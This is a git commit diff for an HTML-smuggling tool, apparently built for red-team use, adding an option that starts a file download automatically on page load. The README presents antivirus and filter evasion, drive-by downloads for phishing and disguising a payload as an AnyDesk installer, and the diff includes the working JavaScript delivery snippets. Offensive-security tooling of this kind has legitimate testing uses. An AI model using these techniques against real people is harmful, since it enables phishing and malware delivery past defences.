feat(cli): Added --download-auto and renamed --download to --download-link

Author: six-two

README.md

@@ -9,8 +9,8 @@ It then puts the resulting string in a template file, that contains the code to
 
 Currently, there are multiple actions implemented, that can be executed, after the payload is decoded:
 
-- `--download`: Download the payload as a file when clicking a button (example use case: bypass antivirus / filters)
-- @TODO: `--download-auto`: Automatically download the payload as a file when the page is opened (example use case: bypass antivirus / filters)
+- `--download-link`: Download the payload as a file when clicking a button (example use case: bypass antivirus / filters)
+- `--download-auto`: Automatically download the payload as a file when the page is opened (example use case: bypass antivirus / filters)
 - `--driveby-redirect <REDIRECT_URL>`: Perform a drive-by download and redirect to the `REDIRECT_URL` (example use case: phishing)
 - `--eval`: Execute payload as JavaScript code (example use case: obfuscate malicious JS code)
 - `--replace`: Show payload as HTML page (example use case: compress a big web page)
@@ -30,7 +30,7 @@ Ascii85 encoding | yes | yes
 GZIP compression | yes, always | yes, can be disabled
 AES-GCM encryption | no | yes
 Automatic detection of most efficient algorithms | no | yes
-Payload actions | download, eval, replace | all
+Payload actions | download-link, eval, replace | all
 
 ## Python version
 
@@ -56,14 +56,14 @@ python3 -m pip install .
 
 Example usage of the pip package:
 ```bash
-self-unzip-html html --download -o psexec.html -i PsExec.exe
+self-unzip-html html --download-auto -o psexec.html -i PsExec.exe
 ```
 
 #### Docker
 
 You can use the image pushed to ghcr.io:
 ```bash
-docker run --rm -v "$PWD:/share" ghcr.io/six-two/self-unzip-html html --download -o psexec.html -i ./PsExec.exe 
+docker run --rm -v "$PWD:/share" ghcr.io/six-two/self-unzip-html html --download-auto -o psexec.html -i ./PsExec.exe 
 ```
 
 To use the bleeding edge version (`main` branch), you can build the `Dockerfile`:
@@ -73,24 +73,24 @@ docker build -t self-unzip-html .
 
 Usage of docker image:
 ```bash
-docker run --rm -v "$PWD:/share" self-unzip-html html --download -o psexec.html -i ./PsExec.exe 
+docker run --rm -v "$PWD:/share" self-unzip-html html --download-auto -o psexec.html -i ./PsExec.exe 
 ```
 
 ### Usage
 
 Do a basic HTML smuggling, that will show download link for an executable file:
 ```bash
-self-unzip-html html --download -o psexec.html -i PsExec.exe
+self-unzip-html html --download-auto -o psexec.html -i PsExec.exe
 ```
 
 Or if you wanted to password-protect the output:
 ```bash
-self-unzip-html encrypted-html --download -o psexec_encrypted.html -p YourPasswordHere -i PsExec.exe
+self-unzip-html encrypted-html --download-auto -o psexec_encrypted.html -p YourPasswordHere -i PsExec.exe
 ```
 
 Instead of HTML pages, you can also embed an HTML smuggling payload in an SVG file:
 ```bash
-self-unzip-html svg -i PsExec.exe --download -o psexec.svg
+self-unzip-html svg -i PsExec.exe --download-auto -o psexec.svg
 ```
 
 Please note that not all payload actions are available for SVGs due to technical limitations.
@@ -105,7 +105,7 @@ If you want to use it for phishing (sending a download link to a malicious file)
 
 ![Driveby Redirect Screenshot](./driveby-redirect-screenshot.png)
 
-Just search for a "thank you for downloading" page that does not start a download. There are many of them for software like Skype, AnyDesk, etc. Then rename your payload file to something an visitor of the download page would expect and create the HTML smuggling page:
+Just search for a "thank you for downloading" page that does not start a download. There are many of them for software like Skype, AnyDesk, etc. Then rename your payload file to something a visitor of the download page would expect and create the HTML smuggling page:
 ```bash
 self-unzip-html html -i AnyDesk.exe -o anydesk-download.html --driveby-redirect https://anydesk.com/en/downloads/guide/thank-you --obscure-action
 ```
@@ -193,6 +193,7 @@ The rest of the project is under the MIT license, so you can do whatever as long
 
 ### Head
 
+- Renamed `--download` to `--download-link` and added `--download-auto` which automatically starts the download
 - Added `--copy-text` and `--copy-base64` options for smuggling files when downloads are not possible (for example in remote browsing setups)
 - Added `serve` subcommand that serves the current directory and allows downloading files directly or via HTML smuggling. Each file in a directory listing has an entry like `.DS_Store (HTML, SVG)`.
 - Refactoring of the python code to make it usable as a library
@@ -203,7 +204,7 @@ The rest of the project is under the MIT license, so you can do whatever as long
 - Added `--cache-password` option
 - Added option to supply decryption password via `localStorage`: `localStorage.setItem("self_unzip_pw", "YOUR_PASSWORD_HERE")`
 - Added `--encoding hex` option
-- Added `--svg` option and ported the `--download` option to work in SVGs
+- Added support for SVG output files
 
 ### Version 0.2.1
 

python/self_unzip_html/cli/__init__.py

@@ -44,8 +44,10 @@ def main_wrapped() -> None:
 
     args = ap.parse_args()
     # Set default values to prevent AttributeErrors later on
+    # Needs to be done for all flags (mainly actions) that are not always available
     add_if_does_not_exist(args, "password", None)
     add_if_does_not_exist(args, "replace", False)
+    add_if_does_not_exist(args, "download_link", None)
     add_if_does_not_exist(args, "copy_base64", False)
     add_if_does_not_exist(args, "copy_text", False)
 

python/self_unzip_html/cli/action.py

@@ -2,15 +2,19 @@
 from typing import Any
 # local
 from . import Subcommand
-from ..static_js import JS_DOWNLOAD, JS_DOWNLOAD_SVG, JS_DRIVEBY_REDIRECT, JS_DRIVEBY_REDIRECT_SVG, JS_EVAL, JS_REPLACE, JS_SHOW_TEXT, JS_SHOW_TEXT_SVG, JS_COPY_TEXT
+from ..static_js import JS_DOWNLOAD_LINK, JS_DOWNLOAD_AUTO, JS_DOWNLOAD_SVG, JS_DRIVEBY_REDIRECT, JS_DRIVEBY_REDIRECT_SVG, JS_EVAL, JS_REPLACE, JS_SHOW_TEXT, JS_SHOW_TEXT_SVG, JS_COPY_TEXT
 from ..minified_js import COPY_BASE64
-from ..util import OperationNotImplemented
+
+NO_ARG="NO_ARGUMENT_SUPPLIED"
 
 def register_action_argument_parser(ap: ArgumentParser, subcommand: Subcommand):
     if subcommand != Subcommand.SERVE: #@TODO: figure out how to do it later
         payload_option_visual_group = ap.add_argument_group("Payload Action")
         payload_option_mutex = payload_option_visual_group.add_mutually_exclusive_group(required=True)
-        payload_option_mutex.add_argument("--download", nargs="?", metavar="FILE_NAME", const="", help="show a download link to download the payload as a file. If you specify an argument that is used as the name of the file to download")
+        if subcommand not in [Subcommand.SVG, Subcommand.SVG_ENCRYPTED]:
+            payload_option_mutex.add_argument("--download-link", nargs="?", metavar="FILE_NAME", const=NO_ARG, help="show a download link to download the payload as a file. If you specify an argument that is used as the name of the file to download")
+
+        payload_option_mutex.add_argument("--download-auto", nargs="?", metavar="FILE_NAME", const=NO_ARG, help="show a download link to download the payload as a file. If you specify an argument that is used as the name of the file to download")
         payload_option_mutex.add_argument("--eval", action="store_true", help="pass the payload to eval() to run it as JavaScript code")
         if subcommand not in [Subcommand.SVG, Subcommand.SVG_ENCRYPTED]:
             # Setting the innerHTML of a svg.text always resulted in errors. So we do not show this option with SVGs
@@ -27,10 +31,15 @@ def register_action_argument_parser(ap: ArgumentParser, subcommand: Subcommand):
 
 
 def get_javascript(args: Any, file_name: str, is_svg: bool) -> str:
-    if args.download != None:
-        # If args.downlaod is empty, use the name of the input file, otherwise use the user provided value
-        base_code = JS_DOWNLOAD_SVG if is_svg else JS_DOWNLOAD
-        return base_code.replace("{{NAME}}", args.download or file_name)
+    if args.download_link != None:
+        # If argument is empty, use the name of the input file, otherwise use the user provided value
+        download_file_name = file_name if args.download_link == NO_ARG else args.download_link
+        return JS_DOWNLOAD_LINK.replace("{{NAME}}", download_file_name)
+    elif args.download_auto != None:
+        # If argument is empty, use the name of the input file, otherwise use the user provided value
+        base_code = JS_DOWNLOAD_SVG if is_svg else JS_DOWNLOAD_AUTO
+        download_file_name = file_name if args.download_auto == NO_ARG else args.download_auto
+        return base_code.replace("{{NAME}}", download_file_name)
     elif args.eval:
         return JS_EVAL
     elif args.replace:

python/self_unzip_html/cli/server.py

@@ -13,7 +13,7 @@
 from .output import get_compression_list, get_encoding_list
 from ..template import get_html_template, get_svg_template, DEFAULT_HTML_TEMPLATE_PATH
 from ..page_builder import PageBuilder
-from ..static_js import JS_DOWNLOAD, JS_DOWNLOAD_SVG
+from ..static_js import JS_DOWNLOAD_LINK, JS_DOWNLOAD_SVG
 
 
 def register_server_argument_parser(ap: ArgumentParser, subcommand: Subcommand):
@@ -94,7 +94,7 @@ def serve_html(self, path):
         with open(path, "rb") as f:
             file_contents = f.read()
 
-        file_contents = self.build_page(file_name, file_contents, self.server.html_template, JS_DOWNLOAD, False)
+        file_contents = self.build_page(file_name, file_contents, self.server.html_template, JS_DOWNLOAD_LINK, False)
 
         self.send_response(200)
         self.send_header("Content-type", "text/html; charset=utf-8")

python/self_unzip_html/crypto_aes.py

@@ -19,8 +19,6 @@ def deriveKey(password: bytes, iv: bytes, pbkdf_iteration_count: int):
     salt_pre_hash_bytes = password + application_name + iv
     salt = sha256(salt_pre_hash_bytes).digest()
     iteration_count = pbkdf_iteration_count + len(password) + iv[0]
-    # print("[Debug] Salt:", salt.hex())
-    # print(iteration_count)
 
     return pbkdf2_hmac("sha256", password, salt, iteration_count, BITS_256)
 

python/self_unzip_html/static_js.py

@@ -26,7 +26,9 @@
 
 JS_COPY_TEXT = """setTimeout(()=>{let d=document.open(); let t=new TextDecoder().decode(og_data); d.write('<h2>Copy file as text</h2><button>copy</button>'); let b=d.querySelector("button"); b.onclick=()=>{navigator.clipboard.writeText(t).then(()=>{b.textContent="copied";setTimeout(()=>b.textContent="copy",2000);}).catch(e=>{console.error(e);b.textContent="copy failed";setTimeout(()=>b.textContent="copy",2000);})}}, 50);"""
 
-JS_DOWNLOAD = 'let b=new Blob([og_data],{type:"application/octet-stream"});let u=URL.createObjectURL(b);document.body.innerHTML=`<h1>Unpacked {{NAME}}</h1><a href="${u}" download="{{NAME}}">Click here to download</a>`'
+JS_DOWNLOAD_LINK = 'let b=new Blob([og_data],{type:"application/octet-stream"});let u=URL.createObjectURL(b);document.body.innerHTML=`<h1>Unpacked {{NAME}}</h1><a href="${u}" download="{{NAME}}">Click here to download</a>`'
+
+JS_DOWNLOAD_AUTO = 'let b=new Blob([og_data],{type:"application/octet-stream"});let u=URL.createObjectURL(b);document.body.innerHTML=`<a href="${u}" download="{{NAME}}" id="auto-click">Click here if the download does not start automatically</a>`;setTimeout(()=>document.getElementById("auto-click").click(),50)'
 
 JS_DOWNLOAD_SVG = 'let b=new Blob([og_data],{type:"application/octet-stream"});let u=URL.createObjectURL(b);let a=document.createElementNS("http://www.w3.org/1999/xhtml","a");document.querySelector("svg").appendChild(a);a.href=u;a.download="{{NAME}}";a.click()'
 

test.sh

@@ -35,7 +35,7 @@ self-unzip-html encrypted-html -i README.md -o test_b64_encrypt.html -e base64 -
 self-unzip-html encrypted-html -i README.md -o test_b85_gzip_encrypt.html -e ascii85 -c gzip -p test --replace
 # other modes
 echo 'alert("Looks like it still works :)")' | self-unzip-html html -i - -o test_eval_b64_gzip.html -e base64 -c gzip --eval
-self-unzip-html encrypted-html -i README.md -o test_download_b85_encrypt.html -e ascii85 -c none -p test --download
+self-unzip-html encrypted-html -i README.md -o test_download_b85_encrypt.html -e ascii85 -c none -p test --download-link
 self-unzip-html html -i README.md -e base64 -c none --show-text -o test_show.html
 self-unzip-html encrypted-html -i README.md -o test_custom.html -e ascii85 -c none -p test --custom 'alert(og_data)'
 # Usually you want to redirect to a thank you page, since this legitimizes the downlod you just started